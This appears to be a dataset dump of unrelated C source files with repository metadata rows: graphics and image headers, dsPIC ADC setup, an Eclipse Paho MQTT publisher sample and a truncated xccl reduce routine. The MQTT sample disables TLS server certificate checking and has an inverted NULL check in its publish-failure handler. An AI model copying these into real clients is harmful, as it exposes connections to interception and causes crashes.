outbuf = NULL;
apiStatus = NERR_BrowserTableIncomplete;
}
*bufptr = outbuf;
*entriesread = numFound;
*totalentries = numFound;
try_exit:;
} except( EXCEPTION_EXECUTE_HANDLER ) {
if( outbuf != NULL ) {
NetApiBufferFree( outbuf );
}
if( hFind != INVALID_HANDLE_VALUE ) {
pCSCFindClose( hFind );
}
apiStatus = ERROR_INVALID_PARAMETER;
}
return apiStatus;
}
| 26.69967 | 104 | 0.475896 |
bd22be417c6b801b5545742751ed7c2a4fe21f69 | 388 | h | C | chapter_4/libs/libscene/ArrayObject.h | sergey-shambir/cg_course_examples | 921b6218d71731bcb79ddddcc92c9d04a72c62ab | [
"MIT"
] | 5 | 2017-05-13T20:47:13.000Z | 2020-04-18T18:18:03.000Z | chapter_4/libs/libscene/ArrayObject.h | sergey-shambir/cg_course_examples | 921b6218d71731bcb79ddddcc92c9d04a72c62ab | [
"MIT"
] | 1 | 2017-01-06T20:44:59.000Z | 2017-01-06T20:44:59.000Z | TheCubes/libchapter/src/ArrayObject.h | eligantRU/TheCubes | e88b4abe03da2313fa70ee3968fef478de3053d5 | [
"MIT"
] | 8 | 2016-10-24T16:24:21.000Z | 2021-03-15T11:23:57.000Z | #pragma once
// Класс для работы с Vertex Array Object
// https://www.opengl.org/wiki/Vertex_Specification#Vertex_Array_Object
// Создание хотя бы одного VAO обязательно в OpenGL 3.0+ Core Profile.
class CArrayObject
{
public:
struct do_bind_tag {};
CArrayObject();
CArrayObject(do_bind_tag);
~CArrayObject();
void Bind();
private:
unsigned m_arrayId = 0;
};
| 19.4 | 72 | 0.71134 |
bd22efa50665963e1a5acd2f0e45a8d86cc43e87 | 3,068 | h | C | lib/include/allegro5/internal/aintern_image.h | tsteinholz/Scolling-Background | 90c4608c15a9fba4e320a709ea55153df5413520 | [
"MIT"
] | 4 | 2019-12-09T05:28:04.000Z | 2021-02-18T14:05:09.000Z | lib/include/allegro5/internal/aintern_image.h | tsteinholz/Hangman | 87f8faec5b26438ca3f4b51bd8cafe679ddb5b35 | [
"MIT"
] | null | null | null | lib/include/allegro5/internal/aintern_image.h | tsteinholz/Hangman | 87f8faec5b26438ca3f4b51bd8cafe679ddb5b35 | [
"MIT"
] | 2 | 2019-12-25T15:05:49.000Z | 2021-02-18T14:05:14.000Z | #ifndef __al_included_allegro_aintern_image_h
#define __al_included_allegro_aintern_image_h
#include "allegro5/platform/alplatf.h"
#include "allegro5/internal/aintern_image_cfg.h"
#ifdef __cplusplus
extern "C"
{
#endif
#ifdef ALLEGRO_CFG_WANT_NATIVE_IMAGE_LOADER
#ifdef ALLEGRO_IPHONE
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_iphone_load_image, (const char *filename));
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_iphone_load_image_f, (ALLEGRO_FILE *f));
#endif
#ifdef ALLEGRO_MACOSX
ALLEGRO_IIO_FUNC(bool, _al_osx_register_image_loader, (void));
#endif
#endif
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_pcx, (const char *filename));
ALLEGRO_IIO_FUNC(bool, _al_save_pcx, (const char *filename, ALLEGRO_BITMAP *bmp));
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_pcx_f, (ALLEGRO_FILE *f));
ALLEGRO_IIO_FUNC(bool, _al_save_pcx_f, (ALLEGRO_FILE *f, ALLEGRO_BITMAP *bmp));
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_bmp, (const char *filename));
ALLEGRO_IIO_FUNC(bool, _al_save_bmp, (const char *filename, ALLEGRO_BITMAP *bmp));
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_bmp_f, (ALLEGRO_FILE *f));
ALLEGRO_IIO_FUNC(bool, _al_save_bmp_f, (ALLEGRO_FILE *f, ALLEGRO_BITMAP *bmp));
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_tga, (const char *filename));
ALLEGRO_IIO_FUNC(bool, _al_save_tga, (const char *filename, ALLEGRO_BITMAP *bmp));
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_tga_f, (ALLEGRO_FILE *f));
ALLEGRO_IIO_FUNC(bool, _al_save_tga_f, (ALLEGRO_FILE *f, ALLEGRO_BITMAP *bmp));
#ifdef ALLEGRO_CFG_IIO_HAVE_GDIPLUS
ALLEGRO_IIO_FUNC(bool, _al_init_gdiplus, (void));
ALLEGRO_IIO_FUNC(void, _al_shutdown_gdiplus, (void));
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_gdiplus_bitmap, (const char *filename));
ALLEGRO_IIO_FUNC(bool, _al_save_gdiplus_bitmap, (const char *filename, ALLEGRO_BITMAP *bmp));
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_gdiplus_bitmap_f, (ALLEGRO_FILE *f));
ALLEGRO_IIO_FUNC(bool, _al_save_gdiplus_png_f, (ALLEGRO_FILE *f, ALLEGRO_BITMAP *bmp));
ALLEGRO_IIO_FUNC(bool, _al_save_gdiplus_jpg_f, (ALLEGRO_FILE *f, ALLEGRO_BITMAP *bmp));
ALLEGRO_IIO_FUNC(bool, _al_save_gdiplus_tif_f, (ALLEGRO_FILE *f, ALLEGRO_BITMAP *bmp));
ALLEGRO_IIO_FUNC(bool, _al_save_gdiplus_gif_f, (ALLEGRO_FILE *f, ALLEGRO_BITMAP *bmp));
#endif
/* ALLEGRO_CFG_IIO_HAVE_PNG/JPG implies that "native" loaders aren't available. */
#ifdef ALLEGRO_CFG_IIO_HAVE_PNG
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_png, (const char *filename));
ALLEGRO_IIO_FUNC(bool, _al_save_png, (const char *filename, ALLEGRO_BITMAP *bmp));
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_png_f, (ALLEGRO_FILE *f));
ALLEGRO_IIO_FUNC(bool, _al_save_png_f, (ALLEGRO_FILE *f, ALLEGRO_BITMAP *bmp));
#endif
#ifdef ALLEGRO_CFG_IIO_HAVE_JPG
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_jpg, (const char *filename));
ALLEGRO_IIO_FUNC(bool, _al_save_jpg, (const char *filename, ALLEGRO_BITMAP *bmp));
ALLEGRO_IIO_FUNC(ALLEGRO_BITMAP *, _al_load_jpg_f, (ALLEGRO_FILE *f));
ALLEGRO_IIO_FUNC(bool, _al_save_jpg_f, (ALLEGRO_FILE *f, ALLEGRO_BITMAP *bmp));
#endif
#ifdef __cplusplus
}
#endif
#endif
| 41.459459 | 93 | 0.80867 |
bd239b2a2838d09d01a9f33b615d15302f36c01f | 43 | h | C | sdl2/CaveStory/src/BossTwinD.h | pdpdds/SDLGameProgramming | 3af68e2133296f3e7bc3d7454d9301141bca2d5a | [
"BSD-2-Clause"
] | null | null | null | sdl2/CaveStory/src/BossTwinD.h | pdpdds/SDLGameProgramming | 3af68e2133296f3e7bc3d7454d9301141bca2d5a | [
"BSD-2-Clause"
] | null | null | null | sdl2/CaveStory/src/BossTwinD.h | pdpdds/SDLGameProgramming | 3af68e2133296f3e7bc3d7454d9301141bca2d5a | [
"BSD-2-Clause"
] | null | null | null | #pragma once
void ActBossChar_Twin(void);
| 10.75 | 28 | 0.790698 |
bd24a1eb53f30af966b4fb56fc156f999401bdb4 | 1,202 | h | C | src/interpolate.h | mcchatman8009/z80-core | 127f575aa4a441b7d35b4424c8eea9dab1b665c9 | [
"MIT"
] | null | null | null | src/interpolate.h | mcchatman8009/z80-core | 127f575aa4a441b7d35b4424c8eea9dab1b665c9 | [
"MIT"
] | null | null | null | src/interpolate.h | mcchatman8009/z80-core | 127f575aa4a441b7d35b4424c8eea9dab1b665c9 | [
"MIT"
] | null | null | null | #ifndef Z80_CORE_INTERPOLATE_H
#define Z80_CORE_INTERPOLATE_H
#include <string>
#include <vector>
#include <iostream>
/**
* String interpolate
*
* Found at Rosetta code:
* https://www.rosettacode.org/wiki/String_interpolation_(included)#C.2B.2B_2
*
* @tparam S
* @tparam Args
* @param orig
* @param args
* @return
*/
template<typename S, typename... Args>
std::string interpolate(const S& orig, const Args& ... args) {
using std::string;
using std::vector;
string out(orig);
// populate vector from argument list
auto va = {args...};
vector<string> v{va};
size_t i = 1;
for (string& s: v) {
string is = std::to_string(i);
string t = "{" + is + "}"; // "{1}", "{2}", ...
try {
auto pos = out.find(t);
if (pos != std::string::npos) // found token
{
out.erase(pos, t.length()); //erase token
out.insert(pos, s); // insert arg
}
i++; // next
} catch (std::exception& e) {
std::cerr << e.what() << std::endl;
}
} // for
return out;
}
#endif //Z80_CORE_INTERPOLATE_H
| 21.087719 | 77 | 0.524958 |
bd24b5a3219b92422a6f51a623f15b5ad5f82d29 | 1,352 | h | C | Basics/ExtentData.h | shujianyang/btrForensics | 5206e3253778169b954986c38b020f0783bdfc58 | [
"MIT"
] | 17 | 2016-07-25T13:33:31.000Z | 2022-02-18T00:52:43.000Z | Basics/ExtentData.h | shujianyang/btrForensics | 5206e3253778169b954986c38b020f0783bdfc58 | [
"MIT"
] | 2 | 2019-03-03T02:21:49.000Z | 2019-07-30T13:39:39.000Z | Basics/ExtentData.h | shujianyang/btrForensics | 5206e3253778169b954986c38b020f0783bdfc58 | [
"MIT"
] | null | null | null | //! \file
//! \author Shujian Yang
//!
//! Header file of class ExtentData
#ifndef EXTENT_DATA_H
#define EXTENT_DATA_H
#include <string>
#include <tsk/libtsk.h>
#include "Basics.h"
namespace btrForensics {
//! Contents of a file
class ExtentData : public BtrfsItem {
public:
uint64_t dataAddress; //!< Physical address of inline data, only works for inline file.
uint64_t generation; //!< Generaion.
uint64_t decodedSize; //!< Decoded size of extent.
uint8_t compression; //!< Compression algorithm, 0 for none.
uint8_t encryption; //!< Encryption algorithm, 0 for none.
uint16_t otherEncoding; //!< 0 for none.
uint8_t type; //!< 0 if inline.
uint64_t logicalAddress; //!< Logical address of extent for non-inline file.
uint64_t extentSize; //!< Size of extent for non-inline file.
uint64_t extentOffset; //!< Offset within extent for non-inline file.
uint64_t numOfBytes; //!< Logical number of bytes in extent for non-inline file.
public:
ExtentData(ItemHead* head, TSK_ENDIAN_ENUM endian, uint8_t arr[], uint64_t address);
~ExtentData() = default; //!< Destructor
std::string dataInfo() const override;
static const uint64_t PART_ONE_SIZE = 0x15; //!< Size of first part of extent data.
};
}
#endif
| 32.190476 | 95 | 0.661982 |
bd24c8d9ffa067d512bdd21a885d0d58cc26dc9f | 5,924 | c | C | pslab-core.X/registers/converters/adc1.c | nkpro2000sr/pslab-firmware | 4026ac8aa1260fcadc6436b4b4b5845f77ebfbea | [
"Apache-2.0"
] | null | null | null | pslab-core.X/registers/converters/adc1.c | nkpro2000sr/pslab-firmware | 4026ac8aa1260fcadc6436b4b4b5845f77ebfbea | [
"Apache-2.0"
] | null | null | null | pslab-core.X/registers/converters/adc1.c | nkpro2000sr/pslab-firmware | 4026ac8aa1260fcadc6436b4b4b5845f77ebfbea | [
"Apache-2.0"
] | null | null | null | #include "adc1.h"
#include "../memory/dma.h"
#include "../timers/tmr5.h"
#include "../../helpers/delay.h"
#include "../../commands.h"
// Current ADC operation mode variables
static uint8_t current_mode, current_channel_0, current_channel_123;
/* Static function prototypes */
static void Init10BitMode(void);
void ADC1_Initialize(void) {
ADC1_InitializeCON1();
ADC1_InitializeCON2();
ADC1_InitializeCON3();
ADC1_InitializeCON4();
// CH0SA AN0; CH0SB AN0; CH0NB AVSS; CH0NA AVSS;
AD1CHS0 = 0x00;
// CSS26 disabled; CSS25 disabled; CSS24 disabled; CSS31 disabled; CSS30 disabled;
AD1CSSH = 0x00;
// CSS2 disabled; CSS1 disabled; CSS0 disabled; CSS8 disabled; CSS7 disabled; CSS6 disabled; CSS5 disabled; CSS4 disabled; CSS3 disabled;
AD1CSSL = 0x00;
// CH123SA CH1=OA2/AN0,CH2=AN1,CH3=AN2; CH123SB CH1=OA2/AN0,CH2=AN1,CH3=AN2; CH123NA CH1=VREF-,CH2=VREF-,CH3=VREF-; CH123NB CH1=VREF-,CH2=VREF-,CH3=VREF-;
AD1CHS123 = 0x00;
ADC1_InterruptDisable();
ADC1_InterruptFlagClear();
}
void ADC1_InitializeCON1(void) {
// ADC module is off
AD1CON1bits.ADON = 0;
// Continues mode operation in idle mode
AD1CON1bits.ADSIDL = 0;
// DMA buffers are written in Scatter/Gather mode;
// the module provides a Scatter/Gather address to the DMA channel, based
// on the index of the analog input and the size of the DMA buffer.
AD1CON1bits.ADDMABM = 0;
// 10-bit, 4 channel ADC operation
AD1CON1bits.AD12B = 0;
// Data output format: Integer (0000 00DD DDDD DDDD)
AD1CON1bits.FORM = 0b00;
// Clearing the Sample bit (SAMP) ends sampling and starts conversion
AD1CON1bits.SSRC = 0b000;
// Sample Trigger Source Group
AD1CON1bits.SSRCG = 0;
// Samples multiple channels individually in sequence
AD1CON1bits.SIMSAM = 0;
// Sampling begins when the SAMP bit is set
AD1CON1bits.ASAM = 0;
// ADC Sample Enable: Sample-and-Hold amplifiers are holding
AD1CON1bits.SAMP = 0;
// ADC conversion has not started or is in progress
AD1CON1bits.DONE = 0;
}
void ADC1_InitializeCON2(void) {
// Converter voltage reference is AVDD and AVSS
AD1CON2bits.VCFG = 0b000;
// Does not scan inputs
AD1CON2bits.CSCNA = 0;
// Converts CH0 (default)
AD1CON2bits.CHPS = 0b00;
// Buffer fill status: filling the first half of the buffer
AD1CON2bits.BUFS = 0;
// Always starts filling the buffer from the start address
AD1CON2bits.BUFM = 0;
// Generates interrupt after completion of every sample/conversion operation
AD1CON2bits.SMPI = 0b00000;
// Always uses channel input selects for Sample MUXA
AD1CON2bits.ALTS = 0;
}
void ADC1_InitializeCON3(void) {
// Clock derived from system clock
AD1CON3bits.ADRC = 0;
// Auto-sample time bits: <REG_VAL>*TAD
AD1CON3bits.SAMC = 0b00000;
// ADC conversion clock select bits: <REG_VAL + 1>*TP = TAD
AD1CON3bits.ADCS = 0b00000000;
}
void ADC1_InitializeCON4(void) {
// Conversion results are stored in ADC1BUF0 to ADC1BUFF registers; No DMA
AD1CON4bits.ADDMAEN = 0;
// Allocates 1 word of buffer to each analog input
AD1CON4bits.DMABL = 0b000;
}
void ADC1_SetOperationMode(
ADC1_PSLAB_MODES mode, uint8_t channel_0, uint8_t channel_123) {
// Save time by prevent reinitialization of registers
if (current_mode == mode && current_channel_0 == channel_0 &&
current_channel_123 == channel_123) {
return;
}
if (current_channel_0 == 7 || current_channel_0 == 5) {
CM4CONbits.CON = 0;
PMD3bits.CMPMD = 1;
}
// Save current mode settings
current_mode = mode;
current_channel_0 = channel_0;
current_channel_123 = channel_123;
ADC1_Initialize();
switch (current_mode) {
case ADC1_10BIT_SIMULTANEOUS_MODE:
Init10BitMode();
break;
case ADC1_10BIT_DMA_MODE:
// initADCDMA(0)
break;
case ADC1_12BIT_DMA_MODE:
// initADCDMA(1)
break;
case ADC1_12BIT_NORMAL_MODE:
// initADC12()
break;
case ADC1_12BIT_SCOPE_MODE:
// initADC12bit_scope()
break;
case ADC1_12BIT_AVERAGING_MODE:
// Disable DMA channel
DMA0CONbits.CHEN = 0;
ADC1_ResolutionModeSet(ADC1_RESOLUTION_12_BIT);
//Set input channels
ADC1_ChannelSelectSet(current_channel_0);
ADC1_Positive123ChannelSelect(current_channel_123);
// Channel 0 negative input is VREFL
AD1CHS0bits.CH0NA = 0;
// Internal counter ends sampling and starts auto conversion
AD1CON1bits.SSRC = 0b111;
// Generate interrupt after 16th sample conversion
AD1CON2bits.SMPI = 0b01111;
// Clock settings
AD1CON3bits.SAMC = 0b10000; // 16*TAD auto sample time
AD1CON3bits.ADCS = 0b00001010; // TAD = Tp*10 = 156.25 ns
break;
case ADC1_CTMU_MODE:
// initADCCTMU()
break;
default:
break;
}
}
static void Init10BitMode(void) {
DMA_ChannelDisable(DMA_CHANNEL_0);
AD1CON1bits.SSRC = 4; // TMR5 compare starts conversion
ADC1_AutomaticSamplingEnable();
ADC1_SimultaneousSamplingEnable();
ADC1_ChannelSelectSet(current_channel_0);
ADC1_Positive123ChannelSelect(current_channel_123);
ADC1_Negative123ChannelSelect(0);
ADC1_ConversionClockPrescalerSet(2); // Conversion rate = 16 MHz
ADC1_Enable();
DELAY_us(20);
TMR5_Stop();
T5CONbits.TSIDL = 1;
T5CONbits.TCKPS = 1;
TMR5 = 0;
TMR5_Start();
_T5IF = 0;
_T5IE = 0;
}
| 34.242775 | 160 | 0.640277 |
bd250c1c7fd06da990101e4a20330713ec1fd709 | 370 | h | C | Example/Pods/Target Support Files/CRDeviceGUID/CRDeviceGUID-umbrella.h | Corotata/CRDeviceGUID | 408199a1d3a731958add995c70e2004e5fc60736 | [
"MIT"
] | null | null | null | Example/Pods/Target Support Files/CRDeviceGUID/CRDeviceGUID-umbrella.h | Corotata/CRDeviceGUID | 408199a1d3a731958add995c70e2004e5fc60736 | [
"MIT"
] | null | null | null | Example/Pods/Target Support Files/CRDeviceGUID/CRDeviceGUID-umbrella.h | Corotata/CRDeviceGUID | 408199a1d3a731958add995c70e2004e5fc60736 | [
"MIT"
] | null | null | null | #ifdef __OBJC__
#import <UIKit/UIKit.h>
#else
#ifndef FOUNDATION_EXPORT
#if defined(__cplusplus)
#define FOUNDATION_EXPORT extern "C"
#else
#define FOUNDATION_EXPORT extern
#endif
#endif
#endif
#import "CRGUIDGenerator.h"
#import "UIDevice+GUID.h"
FOUNDATION_EXPORT double CRDeviceGUIDVersionNumber;
FOUNDATION_EXPORT const unsigned char CRDeviceGUIDVersionString[];
| 19.473684 | 66 | 0.818919 |
bd266b1211eaa000e1a3f681b2bdac55db923c27 | 95 | c | C | mingle/libmingle/timespec.c | onepremise/Mingle | 3e53bf7b9e5c7cdbb917cbd1a2dd98aa90df0c91 | [
"Apache-2.0"
] | 3 | 2015-08-17T17:47:21.000Z | 2020-02-18T05:35:17.000Z | mingle/libmingle/timespec.c | onepremise/Mingle | 3e53bf7b9e5c7cdbb917cbd1a2dd98aa90df0c91 | [
"Apache-2.0"
] | null | null | null | mingle/libmingle/timespec.c | onepremise/Mingle | 3e53bf7b9e5c7cdbb917cbd1a2dd98aa90df0c91 | [
"Apache-2.0"
] | null | null | null | #include <mingle/config.h>
#define _GL_TIMESPEC_INLINE _GL_EXTERN_INLINE
#include "timespec.h"
| 23.75 | 45 | 0.821053 |
bd26fe4dffeccb209883508a2064b09ef813fc8b | 8,514 | c | C | util/third_party/paho.mqtt.c/src/samples/paho_c_pub.c | PascalGuenther/gecko_sdk | 2e82050dc8823c9fe0e8908c1b2666fb83056230 | [
"Zlib"
] | 82 | 2016-06-29T17:24:43.000Z | 2021-04-16T06:49:17.000Z | util/third_party/paho.mqtt.c/src/samples/paho_c_pub.c | GoldSora/sdk_support | 5f92c311a302e2ba06040ec37f8ac4eba91b3d5d | [
"Zlib"
] | 9 | 2017-12-20T11:26:21.000Z | 2018-08-25T03:49:57.000Z | util/third_party/paho.mqtt.c/src/samples/paho_c_pub.c | GoldSora/sdk_support | 5f92c311a302e2ba06040ec37f8ac4eba91b3d5d | [
"Zlib"
] | 56 | 2016-08-02T10:50:50.000Z | 2021-07-19T08:57:34.000Z | /*******************************************************************************
* Copyright (c) 2012, 2016 IBM Corp.
*
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* and Eclipse Distribution License v1.0 which accompany this distribution.
*
* The Eclipse Public License is available at
* http://www.eclipse.org/legal/epl-v10.html
* and the Eclipse Distribution License is available at
* http://www.eclipse.org/org/documents/edl-v10.php.
*
* Contributors:
* Ian Craggs - initial contribution
* Guilherme Maciel Ferreira - add keep alive option
*******************************************************************************/
/*
stdin publisher
compulsory parameters:
--topic topic to publish on
defaulted parameters:
--host localhost
--port 1883
--qos 0
--delimiters \n
--clientid stdin-publisher-async
--maxdatalen 100
--keepalive 10
--userid none
--password none
*/
#include "MQTTAsync.h"
#include <stdio.h>
#include <signal.h>
#include <memory.h>
#if defined(WIN32)
#include <Windows.h>
#define sleep Sleep
#else
#include <sys/time.h>
#include <stdlib.h>
#endif
volatile int toStop = 0;
struct
{
char* clientid;
char* delimiter;
int maxdatalen;
int qos;
int retained;
char* username;
char* password;
char* host;
char* port;
int verbose;
int keepalive;
} opts =
{
"stdin-publisher-async", "\n", 100, 0, 0, NULL, NULL, "localhost", "1883", 0, 10
};
void usage(void)
{
printf("MQTT stdin publisher\n");
printf("Usage: stdinpub topicname <options>, where options are:\n");
printf(" --host <hostname> (default is %s)\n", opts.host);
printf(" --port <port> (default is %s)\n", opts.port);
printf(" --qos <qos> (default is %d)\n", opts.qos);
printf(" --retained (default is %s)\n", opts.retained ? "on" : "off");
printf(" --delimiter <delim> (default is \\n)\n");
printf(" --clientid <clientid> (default is %s)\n", opts.clientid);
printf(" --maxdatalen <bytes> (default is %d)\n", opts.maxdatalen);
printf(" --username none\n");
printf(" --password none\n");
printf(" --keepalive <seconds> (default is 10 seconds)\n");
exit(EXIT_FAILURE);
}
void cfinish(int sig)
{
signal(SIGINT, NULL);
toStop = 1;
}
void getopts(int argc, char** argv);
int messageArrived(void* context, char* topicName, int topicLen, MQTTAsync_message* m)
{
/* not expecting any messages */
return 1;
}
static int disconnected = 0;
void onDisconnect(void* context, MQTTAsync_successData* response)
{
disconnected = 1;
}
static int connected = 0;
void myconnect(MQTTAsync* client);
void onConnectFailure(void* context, MQTTAsync_failureData* response)
{
printf("Connect failed, rc %d\n", response ? response->code : -1);
connected = -1;
MQTTAsync client = (MQTTAsync)context;
myconnect(client);
}
void onConnect(void* context, MQTTAsync_successData* response)
{
MQTTAsync client = (MQTTAsync)context;
int rc;
printf("Connected\n");
connected = 1;
}
void myconnect(MQTTAsync* client)
{
MQTTAsync_connectOptions conn_opts = MQTTAsync_connectOptions_initializer;
MQTTAsync_SSLOptions ssl_opts = MQTTAsync_SSLOptions_initializer;
int rc = 0;
printf("Connecting\n");
conn_opts.keepAliveInterval = opts.keepalive;
conn_opts.cleansession = 1;
conn_opts.username = opts.username;
conn_opts.password = opts.password;
conn_opts.onSuccess = onConnect;
conn_opts.onFailure = onConnectFailure;
conn_opts.context = client;
ssl_opts.enableServerCertAuth = 0;
conn_opts.ssl = &ssl_opts;
conn_opts.automaticReconnect = 1;
connected = 0;
if ((rc = MQTTAsync_connect(*client, &conn_opts)) != MQTTASYNC_SUCCESS)
{
printf("Failed to start connect, return code %d\n", rc);
exit(EXIT_FAILURE);
}
}
static int published = 0;
void onPublishFailure(void* context, MQTTAsync_failureData* response)
{
printf("Publish failed, rc %d\n", response ? -1 : response->code);
published = -1;
}
void onPublish(void* context, MQTTAsync_successData* response)
{
MQTTAsync client = (MQTTAsync)context;
published = 1;
}
void connectionLost(void* context, char* cause)
{
MQTTAsync client = (MQTTAsync)context;
MQTTAsync_connectOptions conn_opts = MQTTAsync_connectOptions_initializer;
MQTTAsync_SSLOptions ssl_opts = MQTTAsync_SSLOptions_initializer;
int rc = 0;
printf("Connecting\n");
conn_opts.keepAliveInterval = 10;
conn_opts.cleansession = 1;
conn_opts.username = opts.username;
conn_opts.password = opts.password;
conn_opts.onSuccess = onConnect;
conn_opts.onFailure = onConnectFailure;
conn_opts.context = client;
ssl_opts.enableServerCertAuth = 0;
conn_opts.ssl = &ssl_opts;
connected = 0;
if ((rc = MQTTAsync_connect(client, &conn_opts)) != MQTTASYNC_SUCCESS)
{
printf("Failed to start connect, return code %d\n", rc);
exit(EXIT_FAILURE);
}
}
int main(int argc, char** argv)
{
MQTTAsync_disconnectOptions disc_opts = MQTTAsync_disconnectOptions_initializer;
MQTTAsync_responseOptions pub_opts = MQTTAsync_responseOptions_initializer;
MQTTAsync_createOptions create_opts = MQTTAsync_createOptions_initializer;
MQTTAsync client;
char* topic = NULL;
char* buffer = NULL;
int rc = 0;
char url[100];
if (argc < 2)
usage();
getopts(argc, argv);
sprintf(url, "%s:%s", opts.host, opts.port);
if (opts.verbose)
printf("URL is %s\n", url);
topic = argv[1];
printf("Using topic %s\n", topic);
create_opts.sendWhileDisconnected = 1;
rc = MQTTAsync_createWithOptions(&client, url, opts.clientid, MQTTCLIENT_PERSISTENCE_NONE, NULL, &create_opts);
signal(SIGINT, cfinish);
signal(SIGTERM, cfinish);
rc = MQTTAsync_setCallbacks(client, client, connectionLost, messageArrived, NULL);
myconnect(&client);
buffer = malloc(opts.maxdatalen);
while (!toStop)
{
int data_len = 0;
int delim_len = 0;
delim_len = strlen(opts.delimiter);
do
{
buffer[data_len++] = getchar();
if (data_len > delim_len)
{
//printf("comparing %s %s\n", opts.delimiter, &buffer[data_len - delim_len]);
if (strncmp(opts.delimiter, &buffer[data_len - delim_len], delim_len) == 0)
break;
}
} while (data_len < opts.maxdatalen);
if (opts.verbose)
printf("Publishing data of length %d\n", data_len);
pub_opts.onSuccess = onPublish;
pub_opts.onFailure = onPublishFailure;
do
{
rc = MQTTAsync_send(client, topic, data_len, buffer, opts.qos, opts.retained, &pub_opts);
}
while (rc != MQTTASYNC_SUCCESS);
}
printf("Stopping\n");
free(buffer);
disc_opts.onSuccess = onDisconnect;
if ((rc = MQTTAsync_disconnect(client, &disc_opts)) != MQTTASYNC_SUCCESS)
{
printf("Failed to start disconnect, return code %d\n", rc);
exit(EXIT_FAILURE);
}
while (!disconnected)
#if defined(WIN32)
Sleep(100);
#else
usleep(10000L);
#endif
MQTTAsync_destroy(&client);
return EXIT_SUCCESS;
}
void getopts(int argc, char** argv)
{
int count = 2;
while (count < argc)
{
if (strcmp(argv[count], "--retained") == 0)
opts.retained = 1;
if (strcmp(argv[count], "--verbose") == 0)
opts.verbose = 1;
else if (strcmp(argv[count], "--qos") == 0)
{
if (++count < argc)
{
if (strcmp(argv[count], "0") == 0)
opts.qos = 0;
else if (strcmp(argv[count], "1") == 0)
opts.qos = 1;
else if (strcmp(argv[count], "2") == 0)
opts.qos = 2;
else
usage();
}
else
usage();
}
else if (strcmp(argv[count], "--host") == 0)
{
if (++count < argc)
opts.host = argv[count];
else
usage();
}
else if (strcmp(argv[count], "--port") == 0)
{
if (++count < argc)
opts.port = argv[count];
else
usage();
}
else if (strcmp(argv[count], "--clientid") == 0)
{
if (++count < argc)
opts.clientid = argv[count];
else
usage();
}
else if (strcmp(argv[count], "--username") == 0)
{
if (++count < argc)
opts.username = argv[count];
else
usage();
}
else if (strcmp(argv[count], "--password") == 0)
{
if (++count < argc)
opts.password = argv[count];
else
usage();
}
else if (strcmp(argv[count], "--maxdatalen") == 0)
{
if (++count < argc)
opts.maxdatalen = atoi(argv[count]);
else
usage();
}
else if (strcmp(argv[count], "--delimiter") == 0)
{
if (++count < argc)
opts.delimiter = argv[count];
else
usage();
}
else if (strcmp(argv[count], "--keepalive") == 0)
{
if (++count < argc)
opts.keepalive = atoi(argv[count]);
else
usage();
}
count++;
}
}
| 22.171875 | 112 | 0.65868 |
bd27033da1a8bd63db265673b2246eb28b525328 | 574 | h | C | examples/util.h | desruie/OpenTimelineIO | 918797b00e840b7de8a15a3b1ab51e35a004c50f | [
"Apache-2.0"
] | 1,021 | 2017-07-29T05:50:20.000Z | 2022-03-28T16:53:28.000Z | examples/util.h | desruie/OpenTimelineIO | 918797b00e840b7de8a15a3b1ab51e35a004c50f | [
"Apache-2.0"
] | 987 | 2017-08-01T17:14:57.000Z | 2022-03-31T22:49:03.000Z | examples/util.h | reinecke/OpenTimelineIO | 1325927157564989952edf7c5f7c317fb90e1288 | [
"Apache-2.0"
] | 233 | 2017-07-28T23:27:10.000Z | 2022-03-31T10:40:35.000Z | #pragma once
#include <opentimelineio/errorStatus.h>
#include <vector>
namespace examples {
// Normalize path (change '\' path delimeters to '/').
std::string normalize_path(std::string const&);
// Get the absolute path.
std::string absolute(std::string const&);
// Create a temporary directory.
std::string create_temp_dir();
// Get a list of files from a directory.
std::vector<std::string> glob(std::string const& path, std::string const& pattern);
// Print an error to std::cerr.
void print_error(opentimelineio::OPENTIMELINEIO_VERSION::ErrorStatus const&);
}
| 22.076923 | 83 | 0.733449 |
bd27833c3ec463f04d97665ec9744b28f82a5238 | 3,752 | c | C | src/team_lib/ucx/reduce/reduce_linear.c | lappazos/xccl | 5c6c52de44c60a827a980fc7789cf08167f6ac7e | [
"BSD-3-Clause"
] | null | null | null | src/team_lib/ucx/reduce/reduce_linear.c | lappazos/xccl | 5c6c52de44c60a827a980fc7789cf08167f6ac7e | [
"BSD-3-Clause"
] | null | null | null | src/team_lib/ucx/reduce/reduce_linear.c | lappazos/xccl | 5c6c52de44c60a827a980fc7789cf08167f6ac7e | [
"BSD-3-Clause"
] | null | null | null | #include "config.h"
#include "xccl_ucx_lib.h"
#include "reduce.h"
#include "xccl_ucx_sendrecv.h"
#include "utils/reduce.h"
#include "utils/mem_component.h"
#include <stdlib.h>
#include <string.h>
xccl_status_t xccl_ucx_reduce_linear_progress(xccl_ucx_collreq_t *req)
{
xccl_tl_team_t *team = req->team;
void *data_buffer = req->args.buffer_info.dst_buffer;
size_t data_size = req->args.buffer_info.len;
int group_rank = team->params.oob.rank;
int group_size = team->params.oob.size;
void *scratch = req->reduce_linear.scratch;
xccl_ucx_request_t **reqs = req->reduce_linear.reqs;
if (req->args.root == group_rank) {
if (req->reduce_linear.step == ((group_rank + 1) % group_size)) {
xccl_ucx_recv_nb(scratch, data_size, req->reduce_linear.step,
(xccl_ucx_team_t*)team, req->tag, &reqs[0]);
req->reduce_linear.step = ((req->reduce_linear.step + 1) % group_size);
}
if (XCCL_OK == xccl_ucx_testall((xccl_ucx_team_t *)team, reqs, 1)) {
xccl_mem_component_reduce(scratch,
data_buffer,
data_buffer,
req->args.reduce_info.count,
req->args.reduce_info.dt,
req->args.reduce_info.op,
